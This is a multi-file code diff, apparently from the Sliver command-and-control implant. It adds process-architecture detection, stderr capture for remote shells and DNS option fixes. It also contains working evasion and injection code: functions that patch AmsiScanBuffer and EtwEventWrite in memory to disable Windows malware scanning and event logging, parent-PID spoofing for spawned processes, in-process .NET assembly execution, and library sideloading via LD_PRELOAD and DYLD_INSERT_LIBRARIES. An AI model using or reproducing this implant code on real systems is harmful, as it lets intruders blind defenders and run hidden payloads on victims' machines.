||||
@@ -25,6 +25,9 @@ type Process interface {
|
||||
|
||||
// Owner is the account name of the process owner.
|
||||
Owner() string
|
||||
|
||||
// Architecture is the architecture of the process.
|
||||
Architecture() string
|
||||
}
|
||||
|
||||
// Processes returns all processes.
|
||||
|
||||
@@ -19,6 +19,7 @@ type DarwinProcess struct {
|
||||
ppid int
|
||||
binary string
|
||||
owner string
|
||||
arch string
|
||||
cmdLine []string
|
||||
}
|
||||
|
||||
@@ -42,6 +43,10 @@ func (p *DarwinProcess) CmdLine() []string {
|
||||
return p.cmdLine
|
||||
}
|
||||
|
||||
func (p *DarwinProcess) Architecture() string {
|
||||
return p.arch
|
||||
}
|
||||
|
||||
func findProcess(pid int) (Process, error) {
|
||||
ps, err := processes()
|
||||
if err != nil {
|
||||
@@ -98,6 +103,7 @@ func processes() ([]Process, error) {
|
||||
if owner == "" {
|
||||
owner = uid
|
||||
}
|
||||
arch := ""
|
||||
|
||||
darwinProcs[i] = &DarwinProcess{
|
||||
pid: int(p.Proc.P_pid),
|
||||
@@ -105,6 +111,7 @@ func processes() ([]Process, error) {
|
||||
binary: binPath,
|
||||
owner: owner,
|
||||
cmdLine: cmdLine,
|
||||
arch: arch,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -21,6 +21,7 @@ type UnixProcess struct {
|
||||
state rune
|
||||
pgrp int
|
||||
sid int
|
||||
arch string
|
||||
cmdLine []string
|
||||
|
||||
binary string
|
||||
@@ -51,6 +52,10 @@ func (p *UnixProcess) CmdLine() []string {
|
||||
return p.cmdLine
|
||||
}
|
||||
|
||||
func (p *UnixProcess) Architecture() string {
|
||||
return p.arch
|
||||
}
|
||||
|
||||
func getProcessOwnerUid(pid int) (uint32, error) {
|
||||
filename := fmt.Sprintf("/proc/%d/task", pid)
|
||||
f, err := os.Open(filename)
|
||||
@@ -89,6 +94,38 @@ func getProcessCmdLine(pid int) ([]string, error) {
|
||||
return argv, nil
|
||||
}
|
||||
|
||||
func getProcessArchitecture(pid int) (string, error) {
|
||||
exePath := fmt.Sprintf("/proc/%d/exe", pid)
|
||||
|
||||
f, err := os.Open(exePath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
_, err = f.Seek(0x12, 0)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
mach := make([]byte, 2)
|
||||
n, err := io.ReadAtLeast(f, mach, 2)
|
||||
|
||||
f.Close()
|
||||
|
||||
if err != nil || n < 2 {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
if mach[0] == 0xb3 {
|
||||
return "aarch64", nil
|
||||
}
|
||||
if mach[0] == 0x03 {
|
||||
return "x86", nil
|
||||
}
|
||||
if mach[0] == 0x3e {
|
||||
return "x86_64", nil
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Refresh reloads all the data associated with this process.
|
||||
func (p *UnixProcess) Refresh() error {
|
||||
statPath := fmt.Sprintf("/proc/%d/stat", p.pid)
|
||||
@@ -176,6 +213,7 @@ func processes() ([]Process, error) {
|
||||
p.binary = argv[0]
|
||||
}
|
||||
}
|
||||
p.arch, err = getProcessArchitecture(int(pid))
|
||||
results = append(results, p)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ import (
|
||||
"fmt"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"golang.org/x/sys/windows"
|
||||
"runtime"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
@@ -18,6 +19,7 @@ type WindowsProcess struct {
|
||||
ppid int
|
||||
exe string
|
||||
owner string
|
||||
arch string
|
||||
cmdLine []string
|
||||
sessionID int
|
||||
}
|
||||
@@ -38,6 +40,10 @@ func (p *WindowsProcess) Owner() string {
|
||||
return p.owner
|
||||
}
|
||||
|
||||
func (p *WindowsProcess) Architecture() string {
|
||||
return p.arch
|
||||
}
|
||||
|
||||
func (p *WindowsProcess) CmdLine() []string {
|
||||
return p.cmdLine
|
||||
}
|
||||
@@ -58,6 +64,7 @@ func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
|
||||
account, _ := getProcessOwner(e.ProcessID)
|
||||
sessionID, _ := getSessionID(e.ProcessID)
|
||||
cmdLine, _ := getCmdLine(e.ProcessID)
|
||||
arch, _ := getProcessArchitecture(e.ProcessID)
|
||||
|
||||
return &WindowsProcess{
|
||||
pid: int(e.ProcessID),
|
||||
@@ -65,6 +72,7 @@ func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
|
||||
exe: syscall.UTF16ToString(e.ExeFile[:end]),
|
||||
owner: account,
|
||||
cmdLine: cmdLine,
|
||||
arch: arch,
|
||||
sessionID: sessionID,
|
||||
}
|
||||
}
|
||||
@@ -237,6 +245,7 @@ func getCmdLine(pid uint32) ([]string, error) {
|
||||
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
|
||||
}
|
||||
|
||||
|
||||
err = syscall.CloseHandle(proc)
|
||||
if err != nil {
|
||||
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
|
||||
@@ -245,6 +254,66 @@ func getCmdLine(pid uint32) ([]string, error) {
|
||||
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:]) + " : " + syscall.UTF16ToString(cmdLine[:])), nil
|
||||
}
|
||||
|
||||
var nativeArch string = ""
|
||||
var nativeArchLookup bool = true
|
||||
|
||||
func getProcessArchitecture(pid uint32) (string, error) {
|
||||
|
||||
if nativeArchLookup {
|
||||
nativeArchLookup = false
|
||||
if runtime.GOARCH == "amd64" {
|
||||
nativeArch = "x86_64"
|
||||
} else {
|
||||
var is64Bit bool
|
||||
pHandle, _ := windows.GetCurrentProcess()
|
||||
if uint(pHandle) == 0 {
|
||||
nativeArch = ""
|
||||
} else if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
|
||||
nativeArch = ""
|
||||
} else {
|
||||
if !is64Bit {
|
||||
nativeArch = "x86"
|
||||
} else {
|
||||
nativeArch = "x86_64"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
proc, err := syscall.OpenProcess(
|
||||
windows.PROCESS_QUERY_INFORMATION,
|
||||
false,
|
||||
pid,
|
||||
)
|
||||
if err != nil {
|
||||
proc, err = syscall.OpenProcess(
|
||||
windows.PROCESS_QUERY_LIMITED_INFORMATION,
|
||||
false,
|
||||
pid,
|
||||
)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
arch := ""
|
||||
var isWow64 bool
|
||||
if err := windows.IsWow64Process(windows.Handle(proc), &isWow64); err == nil {
|
||||
if isWow64 {
|
||||
arch = "x86"
|
||||
} else {
|
||||
arch = nativeArch
|
||||
}
|
||||
}
|
||||
|
||||
err = syscall.CloseHandle(proc)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return arch, err
|
||||
}
|
||||
|
||||
func getSessionID(pid uint32) (int, error) {
|
||||
var sessionID uint32
|
||||
err := windows.ProcessIdToSessionId(pid, &sessionID)
|
||||
|
||||
@@ -77,6 +77,15 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
stderr, err := cmd.StderrPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stderr pipe failed\n")
|
||||
// {{end}}
|
||||
cancel()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
@@ -84,6 +93,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
Stderr: stderr,
|
||||
Cancel: cancel,
|
||||
}, err
|
||||
}
|
||||
|
||||
@@ -31,6 +31,7 @@ type Shell struct {
|
||||
Command *exec.Cmd
|
||||
Stdout io.ReadCloser
|
||||
Stdin io.WriteCloser
|
||||
Stderr io.ReadCloser
|
||||
Cancel context.CancelFunc
|
||||
}
|
||||
|
||||
|
||||
@@ -72,11 +72,21 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
stderr, err := cmd.StderrPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stderr pipe failed\n")
|
||||
// {{end}}
|
||||
cancel()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
Stderr: stderr,
|
||||
Cancel: cancel,
|
||||
}, nil
|
||||
}
|
||||
|
||||
@@ -95,6 +95,15 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
stderr, err := cmd.StderrPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stderr pipe failed\n")
|
||||
// {{end}}
|
||||
cancel()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
@@ -102,6 +111,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
Stderr: stderr,
|
||||
Cancel: cancel,
|
||||
}, err
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
package spoof
|
||||
@@ -0,0 +1,28 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package spoof
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
func SpoofParent(ppid uint32, cmd *exec.Cmd) error {
|
||||
parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS|windows.PROCESS_DUP_HANDLE|windows.PROCESS_QUERY_INFORMATION, false, ppid)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("OpenProcess failed: %v\n", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
if cmd.SysProcAttr == nil {
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{}
|
||||
}
|
||||
cmd.SysProcAttr.ParentProcess = syscall.Handle(parentHandle)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package taskrunner
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"fmt"
|
||||
clr "github.com/Ne0nd0g/go-clr"
|
||||
"sync"
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var (
|
||||
clrInstance *CLRInstance
|
||||
assemblies []*assembly
|
||||
)
|
||||
|
||||
type assembly struct {
|
||||
methodInfo *clr.MethodInfo
|
||||
hash [32]byte
|
||||
}
|
||||
|
||||
type CLRInstance struct {
|
||||
runtimeHost *clr.ICORRuntimeHost
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func (c *CLRInstance) GetRuntimeHost(runtime string) *clr.ICORRuntimeHost {
|
||||
c.Lock()
|
||||
defer c.Unlock()
|
||||
if c.runtimeHost == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Initializing CLR runtime host")
|
||||
// {{end}}
|
||||
c.runtimeHost, _ = clr.LoadCLR(runtime)
|
||||
err := clr.RedirectStdoutStderr()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not redirect stdout/stderr: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
return c.runtimeHost
|
||||
}
|
||||
|
||||
func LoadAssembly(data []byte, assemblyArgs []string, runtime string) (string, error) {
|
||||
var (
|
||||
methodInfo *clr.MethodInfo
|
||||
err error
|
||||
)
|
||||
|
||||
rtHost := clrInstance.GetRuntimeHost(runtime)
|
||||
if rtHost == nil {
|
||||
return "", errors.New("Could not load CLR runtime host")
|
||||
}
|
||||
|
||||
if asm := getAssembly(data); asm != nil {
|
||||
methodInfo = asm.methodInfo
|
||||
} else {
|
||||
methodInfo, err = clr.LoadAssembly(rtHost, data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not load assembly: %v\n", err)
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
addAssembly(methodInfo, data)
|
||||
}
|
||||
if len(assemblyArgs) == 1 && assemblyArgs[0] == "" {
|
||||
// for methods like Main(String[] args), if we pass an empty string slice
|
||||
// the clr loader will not pass the argument and look for a method with
|
||||
// no arguments, which won't work
|
||||
assemblyArgs = []string{" "}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo)
|
||||
log.Printf("Calling assembly with args: %+v\n", assemblyArgs)
|
||||
// {{end}}
|
||||
stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Got output: %s\n%s\n", stdout, stderr)
|
||||
// {{end}}
|
||||
return fmt.Sprintf("%s\n%s", stdout, stderr), nil
|
||||
}
|
||||
|
||||
func addAssembly(methodInfo *clr.MethodInfo, data []byte) {
|
||||
asmHash := sha256.Sum256(data)
|
||||
asm := &assembly{methodInfo: methodInfo, hash: asmHash}
|
||||
assemblies = append(assemblies, asm)
|
||||
}
|
||||
|
||||
func getAssembly(data []byte) *assembly {
|
||||
asmHash := sha256.Sum256(data)
|
||||
for _, asm := range assemblies {
|
||||
if asm.hash == asmHash {
|
||||
return asm
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
clrInstance = &CLRInstance{}
|
||||
assemblies = make([]*assembly, 0)
|
||||
}
|
||||
@@ -58,11 +58,12 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
}
|
||||
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
|
||||
var (
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
wg sync.WaitGroup
|
||||
cmd *exec.Cmd
|
||||
)
|
||||
fdPath := fmt.Sprintf("/tmp/.%s", randomString(10))
|
||||
err := ioutil.WriteFile(fdPath, data, 0755)
|
||||
@@ -75,7 +76,11 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
|
||||
fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
|
||||
}
|
||||
env = append(env, newEnv...)
|
||||
cmd := exec.Command(procName)
|
||||
if len(procArgs) > 0 {
|
||||
cmd = exec.Command(procName, procArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(procName)
|
||||
}
|
||||
cmd.Env = env
|
||||
cmd.Stdout = &stdOut
|
||||
cmd.Stderr = &stdErr
|
||||
|
||||
@@ -56,12 +56,13 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
}
|
||||
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
|
||||
var (
|
||||
nrMemfdCreate int
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
wg sync.WaitGroup
|
||||
cmd *exec.Cmd
|
||||
)
|
||||
memfdName := randomString(8)
|
||||
memfd, err := syscall.BytePtrFromString(memfdName)
|
||||
@@ -95,7 +96,11 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
|
||||
fmt.Sprintf("LD_PRELOAD=%s", fdPath),
|
||||
}
|
||||
env = append(env, newEnv...)
|
||||
cmd := exec.Command(procName)
|
||||
if len(procArgs) > 0 {
|
||||
cmd = exec.Command(procName, procArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(procName)
|
||||
}
|
||||
cmd.Env = env
|
||||
cmd.Stdout = &stdOut
|
||||
cmd.Stderr = &stdErr
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
//go:build windows
|
||||
|
||||
package taskrunner
|
||||
|
||||
/*
|
||||
@@ -33,6 +31,7 @@ import (
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
"syscall"
|
||||
// {{if .Config.Evasion}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/evasion"
|
||||
@@ -201,12 +200,102 @@ func LocalTask(data []byte, rwxPages bool) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func ExecuteAssembly(data []byte, process string) (string, error) {
|
||||
func patchAmsi() error {
|
||||
// load amsi.dll
|
||||
amsiDLL := windows.NewLazyDLL("amsi.dll")
|
||||
amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer")
|
||||
amsiInitialize := amsiDLL.NewProc("AmsiInitialize")
|
||||
amsiScanString := amsiDLL.NewProc("AmsiScanString")
|
||||
|
||||
// patch
|
||||
amsiAddr := []uintptr{
|
||||
amsiScanBuffer.Addr(),
|
||||
amsiInitialize.Addr(),
|
||||
amsiScanString.Addr(),
|
||||
}
|
||||
patch := byte(0xC3)
|
||||
for _, addr := range amsiAddr {
|
||||
// skip if already patched
|
||||
if *(*byte)(unsafe.Pointer(addr)) != patch {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Patching AMSI")
|
||||
// {{end}}
|
||||
var oldProtect uint32
|
||||
err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
*(*byte)(unsafe.Pointer(addr)) = 0xC3
|
||||
err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect (restauring) failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func patchEtw() error {
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
etwEventWriteProc := ntdll.NewProc("EtwEventWrite")
|
||||
|
||||
// patch
|
||||
patch := byte(0xC3)
|
||||
// skip if already patched
|
||||
if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Patching ETW")
|
||||
// {{end}}
|
||||
var oldProtect uint32
|
||||
err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
*(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3
|
||||
err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect (restauring) failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) {
|
||||
if amsiBypass {
|
||||
err := patchAmsi()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
if etwBypass {
|
||||
err := patchEtw()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
return LoadAssembly(assemblyBytes, assemblyArgs, runtime)
|
||||
}
|
||||
|
||||
func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {
|
||||
var (
|
||||
stdoutBuf, stderrBuf bytes.Buffer
|
||||
lpTargetHandle windows.Handle
|
||||
)
|
||||
cmd, err := startProcess(process, &stdoutBuf, &stderrBuf, true)
|
||||
cmd, err := startProcess(process, processArgs, ppid, &stdoutBuf, &stderrBuf, true)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Could not start process:", process)
|
||||
@@ -254,7 +343,7 @@ func ExecuteAssembly(data []byte, process string) (string, error) {
|
||||
return stdoutBuf.String() + stderrBuf.String(), nil
|
||||
}
|
||||
|
||||
func SpawnDll(procName string, data []byte, offset uint32, args string, kill bool) (string, error) {
|
||||
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args string, kill bool) (string, error) {
|
||||
var lpTargetHandle windows.Handle
|
||||
err := refresh()
|
||||
if err != nil {
|
||||
@@ -263,7 +352,7 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
|
||||
var stdoutBuff bytes.Buffer
|
||||
var stderrBuff bytes.Buffer
|
||||
// 1 - Start process
|
||||
cmd, err := startProcess(procName, &stdoutBuff, &stderrBuff, true)
|
||||
cmd, err := startProcess(procName, processArgs, ppid, &stdoutBuff, &stderrBuff, true)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -329,9 +418,9 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
|
||||
return "", nil
|
||||
}
|
||||
|
||||
//SideLoad - Side load a binary as shellcode and returns its output
|
||||
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
|
||||
return SpawnDll(procName, data, 0, "", kill)
|
||||
// SideLoad - Side load a binary as shellcode and returns its output
|
||||
func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args string, kill bool) (string, error) {
|
||||
return SpawnDll(procName, procArgs, ppid, data, 0, "", kill)
|
||||
}
|
||||
|
||||
// Util functions
|
||||
@@ -360,20 +449,30 @@ func refresh() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func startProcess(proc string, stdout *bytes.Buffer, stderr *bytes.Buffer, suspended bool) (*exec.Cmd, error) {
|
||||
cmd := exec.Command(proc)
|
||||
func startProcess(proc string, args []string, ppid uint32, stdout *bytes.Buffer, stderr *bytes.Buffer, suspended bool) (*exec.Cmd, error) {
|
||||
var cmd *exec.Cmd
|
||||
if len(args) > 0 {
|
||||
cmd = exec.Command(proc, args...)
|
||||
} else {
|
||||
cmd = exec.Command(proc)
|
||||
}
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(CurrentToken),
|
||||
Token: syscall.Token(CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
err := spoof.SpoofParent(ppid, cmd)
|
||||
if err != nil {
|
||||
// We couldn't spoof the parent, fail open and continue
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("could not spoof parent PID: %v\n", err)
|
||||
//{{end}}
|
||||
}
|
||||
cmd.Stdout = stdout
|
||||
cmd.Stderr = stderr
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
HideWindow: true,
|
||||
}
|
||||
if suspended {
|
||||
cmd.SysProcAttr.CreationFlags = windows.CREATE_SUSPENDED
|
||||
}
|
||||
err := cmd.Start()
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Could not start process:", proc)
|
||||
|
||||
@@ -96,13 +96,13 @@ var (
|
||||
|
||||
// DNSOptions - c2 specific options
|
||||
type DNSOptions struct {
|
||||
QueryTimeout time.Duration
|
||||
RetryWait time.Duration
|
||||
RetryCount int
|
||||
MaxErrors int
|
||||
WokersPerResolver int
|
||||
ForceBase32 bool
|
||||
ForceResolvConf string
|
||||
QueryTimeout time.Duration
|
||||
RetryWait time.Duration
|
||||
RetryCount int
|
||||
MaxErrors int
|
||||
WorkersPerResolver int
|
||||
ForceBase32 bool
|
||||
ForceResolvConf string
|
||||
}
|
||||
|
||||
// ParseDNSOptions - Parse c2 specific options
|
||||
@@ -134,13 +134,13 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
|
||||
}
|
||||
|
||||
return &DNSOptions{
|
||||
QueryTimeout: queryTimeout,
|
||||
RetryWait: retryWait,
|
||||
RetryCount: retryCount,
|
||||
MaxErrors: maxErrors,
|
||||
WokersPerResolver: workersPerResolver,
|
||||
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
|
||||
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
|
||||
QueryTimeout: queryTimeout,
|
||||
RetryWait: retryWait,
|
||||
RetryCount: retryCount,
|
||||
MaxErrors: maxErrors,
|
||||
WorkersPerResolver: workersPerResolver,
|
||||
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
|
||||
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -171,7 +171,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
|
||||
retryCount: opts.RetryCount,
|
||||
closed: true,
|
||||
|
||||
WorkersPerResolver: opts.WokersPerResolver,
|
||||
WorkersPerResolver: opts.WorkersPerResolver,
|
||||
subdataSpace: 254 - len(parent) - (1 + (254-len(parent))/64),
|
||||
base32: encoders.Base32{},
|
||||
base58: encoders.Base58{},
|
||||
|
||||
@@ -46,10 +46,10 @@ var (
|
||||
parentMax = fmt.Sprintf(".%s.%s.%s.", strings.Repeat("a", 63), strings.Repeat("b", 63), strings.Repeat("c", 24))
|
||||
|
||||
opts = &DNSOptions{
|
||||
QueryTimeout: time.Duration(time.Second * 3),
|
||||
RetryWait: time.Duration(time.Second * 3),
|
||||
RetryCount: 1,
|
||||
WokersPerResolver: 1,
|
||||
QueryTimeout: time.Duration(time.Second * 3),
|
||||
RetryWait: time.Duration(time.Second * 3),
|
||||
RetryCount: 1,
|
||||
WorkersPerResolver: 1,
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -253,9 +253,6 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("TRANSPORT MESSAGE: type (%d) - %s", envelope.Type, envelope.Data)
|
||||
// {{end}}
|
||||
err := mtls.WriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
return
|
||||
|
||||
@@ -9,7 +9,8 @@ import (
|
||||
type Tunnel struct {
|
||||
ID uint64
|
||||
|
||||
Reader io.ReadCloser
|
||||
// Reader io.ReadCloser
|
||||
Readers []io.ReadCloser
|
||||
readSequence uint64
|
||||
|
||||
Writer io.WriteCloser
|
||||
@@ -18,12 +19,12 @@ type Tunnel struct {
|
||||
mutex *sync.RWMutex
|
||||
}
|
||||
|
||||
func NewTunnel(id uint64, reader io.ReadCloser, writer io.WriteCloser) *Tunnel {
|
||||
func NewTunnel(id uint64, writer io.WriteCloser, readers ...io.ReadCloser) *Tunnel {
|
||||
return &Tunnel{
|
||||
ID: id,
|
||||
Reader: reader,
|
||||
Writer: writer,
|
||||
mutex: &sync.RWMutex{},
|
||||
ID: id,
|
||||
Readers: readers,
|
||||
Writer: writer,
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -57,6 +58,10 @@ func (c *Tunnel) IncWriteSequence() {
|
||||
|
||||
// Close - close tunnel reader and writer
|
||||
func (c *Tunnel) Close() {
|
||||
c.Reader.Close()
|
||||
for _, rc := range c.Readers {
|
||||
if rc != nil {
|
||||
rc.Close()
|
||||
}
|
||||
}
|
||||
c.Writer.Close()
|
||||
}
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build 386 || amd64
|
||||
|
||||
package version
|
||||
|
||||
/*
|
||||
|
||||
Loaded 100 of 1682 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user